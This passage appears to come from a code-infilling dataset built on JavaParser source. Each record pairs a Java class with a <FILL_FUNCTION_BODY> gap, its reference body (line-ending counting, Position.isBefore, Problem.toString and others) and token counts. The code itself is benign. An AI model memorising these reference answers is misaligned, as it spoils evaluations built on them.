return _data[_pos++];
}
@Override
public int read(char[] buffer, final int offset, int len) throws IOException {<FILL_FUNCTION_BODY>}
}
|
int pos = offset;
int stop = offset + len;
LineSeparator previousLineSeparator = null;
while (pos < stop) {
int ch = nextBufferedChar();
if (ch < 0) {
if (pos == offset) {
// Nothing read yet, this is the end of the stream.
return EOF;
}
break;
}
String str = String.valueOf((char) ch);
Optional<LineSeparator> lookup = LineSeparator.lookup(str);
if (lookup.isPresent()) {
LineSeparator lineSeparator = lookup.get();
// Track the number of times this character is found..
eolCounts.putIfAbsent(lineSeparator, 0);
eolCounts.put(lineSeparator, eolCounts.get(lineSeparator) + 1);
// Handle line separators of length two (specifically CRLF)
// TODO: Make this more generic than just CRLF (e.g. track the previous char rather than the previous line separator
if (lineSeparator == LineSeparator.LF) {
if (previousLineSeparator == LineSeparator.CR) {
eolCounts.putIfAbsent(LineSeparator.CRLF, 0);
eolCounts.put(LineSeparator.CRLF, eolCounts.get(LineSeparator.CRLF) + 1);
}
}
// If "this" (current) char <strong>is</strong> a line separator, set the next loop's "previous" to this
previousLineSeparator = lineSeparator;
} else {
// If "this" (current) char <strong>is not</strong> a line separator, set the next loop's "previous" to null
previousLineSeparator = null;
}
buffer[pos++] = (char) ch;
}
return pos - offset;
| 624
| 480
| 1,104
|
<no_super_class>
|
javaparser_javaparser
|
javaparser/javaparser-core/src/main/java/com/github/javaparser/ParseProblemException.java
|
ParseProblemException
|
createMessage
|
class ParseProblemException extends RuntimeException {
/**
* The problems that were encountered during parsing
*/
private final List<Problem> problems;
public ParseProblemException(List<Problem> problems) {
super(createMessage(assertNotNull(problems)));
this.problems = problems;
}
public ParseProblemException(Throwable throwable) {
this(singletonList(new Problem(throwable.getMessage(), null, throwable)));
}
private static String createMessage(List<Problem> problems) {<FILL_FUNCTION_BODY>}
public List<Problem> getProblems() {
return problems;
}
}
|
StringBuilder message = new StringBuilder();
for (Problem problem : problems) {
message.append(problem.toString()).append(SYSTEM_EOL);
}
return message.toString();
| 176
| 52
| 228
|
<methods>public void <init>() ,public void <init>(java.lang.String) ,public void <init>(java.lang.Throwable) ,public void <init>(java.lang.String, java.lang.Throwable) <variables>static final long serialVersionUID
|
javaparser_javaparser
|
javaparser/javaparser-core/src/main/java/com/github/javaparser/ParseResult.java
|
ParseResult
|
toString
|
class ParseResult<T> {
private final T result;
private final List<Problem> problems;
private final CommentsCollection commentsCollection;
/**
* General constructor.
*
* @param result the AST, or empty if it wasn't created.
* @param problems a list of encountered parsing problems.
*/
public ParseResult(T result, List<Problem> problems, CommentsCollection commentsCollection) {
this.commentsCollection = commentsCollection;
this.result = result;
this.problems = problems;
}
/**
* @return if parsing was successful, meaning no errors of any kind were encountered.
*/
public boolean isSuccessful() {
return problems.isEmpty() && result != null;
}
/**
* Calls the consumer with the result if parsing was succesful.
*/
public void ifSuccessful(Consumer<T> consumer) {
if (isSuccessful()) {
consumer.accept(result);
}
}
/**
* @return the list of encountered parsing problems. Empty when no problems were encountered.
*/
public List<Problem> getProblems() {
return problems;
}
/**
* @return the {@code i}'th encountered parsing problem. May throw <code>IndexOutOfBoundsException</code>.
*/
public Problem getProblem(int i) {
return getProblems().get(i);
}
/**
* @return the complete collection of comments encountered while parsing.
*/
public Optional<CommentsCollection> getCommentsCollection() {
return Optional.ofNullable(commentsCollection);
}
/**
* @return the AST of the parsed source code, or empty if parsing failed completely.
*/
public Optional<T> getResult() {
return Optional.ofNullable(result);
}
@Override
public String toString() {<FILL_FUNCTION_BODY>}
}
|
if (isSuccessful()) {
return "Parsing successful";
}
StringBuilder message = new StringBuilder("Parsing failed:").append(SYSTEM_EOL);
for (Problem problem : problems) {
message.append(problem.toString()).append(SYSTEM_EOL);
}
return message.toString();
| 500
| 87
| 587
|
<no_super_class>
|
javaparser_javaparser
|
javaparser/javaparser-core/src/main/java/com/github/javaparser/ParserConfiguration.java
|
LineEndingProcessor
|
postProcess
|
class LineEndingProcessor extends Processor {
private LineEndingProcessingProvider _lineEndingProcessingProvider;
@Override
public Provider preProcess(Provider innerProvider) {
if (isDetectOriginalLineSeparator()) {
_lineEndingProcessingProvider = new LineEndingProcessingProvider(innerProvider);
return _lineEndingProcessingProvider;
}
return innerProvider;
}
@Override
public void postProcess(ParseResult<? extends Node> result, ParserConfiguration configuration) {
if (isDetectOriginalLineSeparator()) {
result.getResult().ifPresent(rootNode -> {
LineSeparator detectedLineSeparator = _lineEndingProcessingProvider.getDetectedLineEnding();
// Set the line ending on the root node
rootNode.setData(Node.LINE_SEPARATOR_KEY, detectedLineSeparator);
// // Set the line ending on all children of the root node -- FIXME: Should ignore """textblocks"""
// rootNode.findAll(Node.class)
// .forEach(node -> node.setData(Node.LINE_SEPARATOR_KEY, detectedLineSeparator));
});
}
}
}
public ParserConfiguration() {
processors.add(() -> ParserConfiguration.this.new UnicodeEscapeProcessor());
processors.add(() -> ParserConfiguration.this.new LineEndingProcessor());
processors.add(() -> new Processor() {
@Override
public void postProcess(ParseResult<? extends Node> result, ParserConfiguration configuration) {<FILL_FUNCTION_BODY>
|
if (configuration.isAttributeComments()) {
result.ifSuccessful(resultNode -> result.getCommentsCollection().ifPresent(comments -> new CommentsInserter(configuration).insertComments(resultNode, comments.copy().getComments())));
}
| 401
| 67
| 468
|
<no_super_class>
|
javaparser_javaparser
|
javaparser/javaparser-core/src/main/java/com/github/javaparser/Position.java
|
Position
|
isBefore
|
class Position implements Comparable<Position> {
public final int line;
public final int column;
/**
* The first line -- note that it is 1-indexed (i.e. the first line is line 1, as opposed to 0)
*/
public static final int FIRST_LINE = 1;
/**
* The first column -- note that it is 1-indexed (i.e. the first column is column 1, as opposed to 0)
*/
public static final int FIRST_COLUMN = 1;
/**
* The first position in the file.
*/
public static final Position HOME = new Position(FIRST_LINE, FIRST_COLUMN);
/**
* Line numbers must be positive, thus
*/
public static final int ABSOLUTE_BEGIN_LINE = -1;
public static final int ABSOLUTE_END_LINE = -2;
/**
* TODO: Do we refer to the characters as columns,
* ...or the spaces between (thus also before/after) characters as columns?
*/
public Position(int line, int column) {
if (line < Position.ABSOLUTE_END_LINE) {
throw new IllegalArgumentException("Can't position at line " + line);
}
if (column < -1) {
// TODO: This allows/permits column 0, which seemingly contradicts first column being 1
// ... (see also nextLine() which indicates 1 being the first column of the next line)
// ... (see also valid() which requires a column > 0)
// TODO: Maybe we need an "ABSOLUTE_BEGIN_LINE" and "ABSOLUTE_END_LINE"?
throw new IllegalArgumentException("Can't position at column " + column);
}
this.line = line;
this.column = column;
}
/**
* Convenient factory method.
*
* @deprecated Use the constructor (e.g. {@code new Position(line, column)})
*/
@Deprecated
public static Position pos(int line, int column) {
return new Position(line, column);
}
/**
* @return Jump to the given column number, while retaining the current line number.
*/
public Position withColumn(int column) {
return new Position(this.line, column);
}
/**
* @return Jump to the given line number, while retaining the current column number.
*/
public Position withLine(int line) {
return new Position(line, this.column);
}
/**
* @return a position that is "characters" characters more to the right than this position.
*/
public Position right(int characters) {
return new Position(line, this.column + characters);
}
/**
* @return a position that is on the start of the next line from this position.
*/
public Position nextLine() {
return new Position(line + 1, FIRST_COLUMN);
}
/**
* Check if the position is usable,
* also checks for special positions (ABSOLUTE_BEGIN_LINE and ABSOLUTE_END_LINE).
* Does not know what it is pointing at, so it can't check if the position is after the end of the source.
* @return true if the position is usable or a special position.
*/
public boolean valid() {
return ABSOLUTE_END_LINE == line || ABSOLUTE_BEGIN_LINE == line || line >= FIRST_LINE && column >= FIRST_COLUMN;
}
/**
* @see #valid()
* @return The inverse of {@link #valid()}
*/
public boolean invalid() {
return !valid();
}
/**
* @return If this position is valid, this.
* Otherwise, if the alternativePosition is valid, return that.
* Otherwise, just return this.
*/
public Position orIfInvalid(Position alternativePosition) {
assertNotNull(alternativePosition);
if (this.valid()) {
return this;
}
return alternativePosition.valid() ? alternativePosition : this;
}
/**
* @param otherPosition the other position to compare to
* @return true if this position is after the given position
*/
public boolean isAfter(Position otherPosition) {
assertNotNull(otherPosition);
if (line == otherPosition.line) {
return column > otherPosition.column;
}
return line > otherPosition.line || otherPosition.line == Position.ABSOLUTE_BEGIN_LINE;
}
public boolean isAfterOrEqual(Position otherPosition) {
return isAfter(otherPosition) || equals(otherPosition);
}
/**
* @param otherPosition the other position to compare to
* @return true if this position is before the given position
*/
public boolean isBefore(Position otherPosition) {<FILL_FUNCTION_BODY>}
public boolean isBeforeOrEqual(Position otherPosition) {
return isBefore(otherPosition) || equals(otherPosition);
}
@Override
public int compareTo(Position otherPosition) {
assertNotNull(otherPosition);
if (isBefore(otherPosition)) {
return -1;
}
if (isAfter(otherPosition)) {
return 1;
}
return 0;
}
@Override
public boolean equals(Object o) {
if (this == o)
return true;
if (o == null || getClass() != o.getClass())
return false;
Position otherPosition = (Position) o;
return Objects.equals(line, otherPosition.line) && Objects.equals(column, otherPosition.column);
}
@Override
public int hashCode() {
return Objects.hash(line, column);
}
@Override
public String toString() {
return "(line " + line + ",col " + column + ")";
}
}
|
assertNotNull(otherPosition);
if (line == otherPosition.line) {
return column < otherPosition.column;
}
return line < otherPosition.line || otherPosition.line == Position.ABSOLUTE_END_LINE;
| 1,510
| 62
| 1,572
|
<no_super_class>
|
javaparser_javaparser
|
javaparser/javaparser-core/src/main/java/com/github/javaparser/Problem.java
|
Problem
|
toString
|
class Problem {
private final String message;
private final TokenRange location;
private final Throwable cause;
public Problem(String message, TokenRange location, Throwable cause) {
assertNotNull(message);
this.message = message;
this.location = location;
this.cause = cause;
}
@Override
public String toString() {<FILL_FUNCTION_BODY>}
/**
* @return the message that was passed into the constructor.
*/
public String getMessage() {
return message;
}
/**
* @return the message plus location information.
*/
public String getVerboseMessage() {
return getLocation().map(l -> l.getBegin().getRange().map(r -> r.begin.toString()).orElse("(line ?,col ?)") + " " + message).orElse(message);
}
/**
* @return the location that was passed into the constructor.
*/
public Optional<TokenRange> getLocation() {
return Optional.ofNullable(location);
}
/**
* @return the cause that was passed into the constructor.
*/
public Optional<Throwable> getCause() {
return Optional.ofNullable(cause);
}
/**
* Sorts problems on position.
*/
public static Comparator<Problem> PROBLEM_BY_BEGIN_POSITION = (a, b) -> {
final Optional<Position> aBegin = a.getLocation().flatMap(l -> l.getBegin().getRange().map(r -> r.begin));
final Optional<Position> bBegin = b.getLocation().flatMap(l -> l.getBegin().getRange().map(r -> r.begin));
if (aBegin.isPresent() && bBegin.isPresent()) {
return aBegin.get().compareTo(bBegin.get());
}
if (a.getLocation().isPresent() || b.getLocation().isPresent()) {
if (a.getLocation().isPresent()) {
return 1;
}
return -1;
}
return 0;
};
}
|
final StringBuilder str = new StringBuilder(getVerboseMessage());
if (cause != null) {
str.append(SYSTEM_EOL).append("Problem stacktrace : ").append(SYSTEM_EOL);
for (int i = 0; i < cause.getStackTrace().length; i++) {
StackTraceElement ste = cause.getStackTrace()[i];
str.append(" ").append(ste.toString());
if (i + 1 != cause.getStackTrace().length)
str.append(SYSTEM_EOL);
}
}
return str.toString();
| 550
| 154
| 704
|
<no_super_class>
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.